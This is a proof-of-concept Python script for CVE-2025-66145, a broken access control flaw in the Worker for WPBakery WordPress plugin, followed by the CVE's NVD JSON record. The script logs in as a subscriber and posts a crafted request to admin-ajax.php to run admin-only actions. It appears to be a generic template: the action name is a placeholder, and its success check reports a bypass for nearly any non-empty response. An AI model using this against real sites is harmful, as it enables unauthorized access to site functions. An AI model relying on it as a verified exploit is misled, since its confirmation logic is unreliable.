CVE-2025-66145

# CVE-2025-66145 PoC - Worker for WPBakery Broken Access Control # This PoC demonstrates accessing admin-only functionality as low-privilege user import requests import sys # Configuration target_url = "http://target-wordpress-site.com" username = "low_privilege_user" password = "user_password" def get_wp_nonce(url, cookie): """Extract security nonce from WordPress admin page""" response = requests.get(f"{url}/wp-admin/admin.php?page=vc-wpbakery", cookies=cookie) # Search for _wpnonce in response import re nonce_match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', response.text) if nonce_match: return nonce_match.group(1) return None def exploit_cve_2025_66145(): """ Exploit Missing Authorization in Worker for WPBakery plugin The plugin fails to properly check user capabilities before executing privileged actions accessible via AJAX endpoints. """ session = requests.Session() # Step 1: Login as low-privilege user (subscriber role) login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } login_response = session.post(f"{target_url}/wp-login.php", data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Logged in as low-privilege user") # Step 2: Identify vulnerable AJAX endpoint # Worker for WPBakery plugin AJAX actions without capability checks vulnerable_endpoints = [ '/wp-admin/admin-ajax.php', ] # Step 3: Craft malicious request to trigger unauthorized action # Example: Access admin-only worker functionality exploit_data = { 'action': 'worker_wpbakery_sensitive_action', # Specific action varies '_wpnonce': get_wp_nonce(target_url, session.cookies.get_dict()), # Additional parameters depending on vulnerable function } # Step 4: Send exploit request exploit_response = session.post( f"{target_url}/wp-admin/admin-ajax.php", data=exploit_data ) if exploit_response.status_code == 200: print("[+] Exploit request sent successfully") print(f"[+] Response: {exploit_response.text[:200]}") # Check if unauthorized access was successful if 'success' in exploit_response.text or len(exploit_response.text) > 0: print("[!] Access control bypass confirmed - unauthorized access possible") return True print("[-] Exploit may have failed or target not vulnerable") return False if __name__ == "__main__": print("CVE-2025-66145 PoC - Worker for WPBakery Missing Authorization") exploit_cve_2025_66145()

{"cve": {"id": "CVE-2025-66145", "sourceIdentifier": "[email protected]", "published": "2025-12-31T20:15:43.213", "lastModified": "2026-04-23T15:35:27.490", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in merkulove Worker for WPBakery worker-wpbakery allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Worker for WPBakery: from n/a through <= 1.1.1."}, {"lang": "es", "value": "Vulnerabilidad por falta de autorización en merkulove Worker para WPBakery permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Worker para WPBakery: desde n/a hasta 1.1.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/worker-wpbakery/vulnerability/wordpress-worker-for-wpbakery-plugin-1-1-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}